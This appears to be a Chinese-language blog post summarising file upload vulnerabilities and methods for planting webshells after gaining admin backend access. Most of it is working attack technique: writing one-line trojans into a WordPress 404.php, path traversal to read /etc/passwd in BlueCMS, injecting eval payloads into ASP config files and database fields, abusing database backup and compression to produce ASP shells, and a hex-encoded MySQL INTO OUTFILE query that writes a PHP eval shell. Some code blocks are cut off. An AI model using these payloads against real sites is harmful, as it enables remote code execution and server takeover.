文件上传漏洞总结
Abstract: 总结文件上传漏洞,包括常规的上传绕过,编辑器漏洞,各种获取webshell的手段。
Table of Contents
文件上传漏洞总结
常规的上传绕过
前期工作
判断类型
根据类型运用具体方法绕过
编辑器漏洞
获取 webshell 的手段
通过文件上传漏洞和编辑器漏洞上传 webshell
直接上传获得 webshell
php
和 jsp
程序比较常见,直接在管理界面上传 .php
或 .jsp
类型。
添加修改上传类型
大多数系统是允许添加上传类型,登录后台可以添加相应类型的 webshell
,asp
后台可以添加 asa
、asP
或 .aspasp
类型的 webshell
,php
系统的后台,可以添加 .php.未知文件类型
。
后台获取 webshell 常用方法
利用后台管理功能写入 webshell
打开管理功能,编辑 php
文件,把小马写入。这种方法难在确认小马所在路径上。
wordpress
后台登入后,进入主题修改里面,在404.php
文件里加上小马,根据浏览器的url
,拼凑路径,/themes/popularis/404.php
。然后通过两次安装相同的插件,系统就会报出已在/var/www/html/wp-content/plugins
安装的错误,来确定根目录。最后我们把整个路径拼接起来,即访问,http://YouIp/wp-content/themes/popularis/404.php
。整个过程要多注意细节,多尝试。BlueCMS
后台登入后,进入管理界面,在html
编辑功能中,右击编辑字体可以进入到编辑页面,url
中存在着文件的路径,可以用file=../../../../../../../../../../../etc/passwd
的方法来查看是否可行,输入后服务器目录中/etc/passwd
显示出来,可以通过这种方法确定路径。一般情况会在网站根目录下存在
admin
文件夹和普通用户的执行文件,admin
文件夹里面存放着管理员登录后的执行文件,这个我们可以通过url
判断,比如www.xxx.org/admin/xxx.php
。我们可以以普通用户查看网页,在网页找到某个abc.php
文件,然后让file=../abc.php
看是否成功,不成功的话可以继续尝试file=../../abc.php
。显示成功后,把一句话木马加上。然后用菜刀按照上次确定的路径连接即可。除此之外,还可以用
burpsuite
抓包方法创建.php
文件,在管理界面,编辑执行文件,点击提交时,用软件抓包,修改文件名为xxx.php
,把文件内容改为一句话木马。之后在通过index.html
文件找到文件路径。
利用后台管理向配置文件写 webshell
利用 <%
、 %>
、'
等构造小马程序的配置文件,配置文件保存为 conf.asp
,
1 | <% |
可以修改 name
的值保存。我们可以这样输入 name
的值 abcdef %> <% @eval request("cmd")'
,第一个 %>
和前面的构成闭合,'
会注释掉第一行后面的内容,文本最后一个 %>
与 @eval
前面的 <%
构成闭合。只有一次尝试机会,构造错误,网站会崩。
利用后台数据库备份及恢复获得 webshell
利用后台对 access
数据库的”备份数据库“或”恢复数据库“功能,”备份的数据库路径“等变量没有过滤导致可以把任意文件后缀改为 asp
,从而获得 webshell
,mssql
版程序直接应用 access
代码,同样适用。备份网站 asp
文件为其他后缀如 txt
文件,可以查看并获得网页源码。从而会获得更多程序信息增加获得 webshell
机会。
利用数据库压缩功能
将数据的防下载失效从而使插入数据库的小马成功运行,在友情链接添加的 url
写上 <%eval request("cmd")%>
,提交后,在数据库操作中压缩数据库,可以成功压缩出 asp
文件。
asp+mssql 系统
动网 mssql 版,可以直接本地提交来备份的,首先在发帖那上传一个写有 asp 代码的假图片,然后记住其上传路径。写一个本地提交的表单,代码如下:
1 | <html> |
另存为 .html 本地执行,把假图片上传路径填在“已上传文件的位置”那里,想要备份的 webshell 的相对路径填写在“要复制到的位置”那里,提交就得到了 webshell。
php+mysql 系统
后台需要有 mysql 数据查询功能,就可以利用它执行 SELECT ... INTO OUTFILE
查询输出 php 文件,因为所有的数据是存放在 mysql 里的,所以可以通过正常手段把 webshell 代码插入 mysql 在利用 SELECT ... INTO OUTFILE
语句导出 shell。在 mysql 操作里输入,如下命令:
1 | SELECT 0x3C3F6576616C28245F504F53545B615D293B3F3E FROM mysql.user INTO OUTFILE "路径" |
就可以获得一个 <?eval($_POST[a]);?>
的小马。
参考文章